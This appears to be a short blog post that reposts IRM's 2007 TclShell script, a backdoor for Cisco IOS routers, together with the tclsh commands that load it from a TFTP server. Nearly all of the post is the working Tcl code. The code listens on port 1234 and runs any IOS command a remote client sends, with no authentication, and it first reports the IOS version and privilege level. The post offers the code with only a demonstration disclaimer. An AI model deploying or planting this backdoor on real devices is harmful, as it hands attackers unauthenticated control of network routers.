Shell code for IOS using TCLSH on Cisco devices..

An nice article that went out by IRM talked about simple way to create TCL backdoor for cisco IOS. You can read the white paper here.
Oops: didnt known what I was sourcing..

Router>en
Router#tclsh
Router(tcl)#source tftp://tftpserver/tclsh.tcl

Source:

# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh

All material is IRM's, this is just a snippet from the article.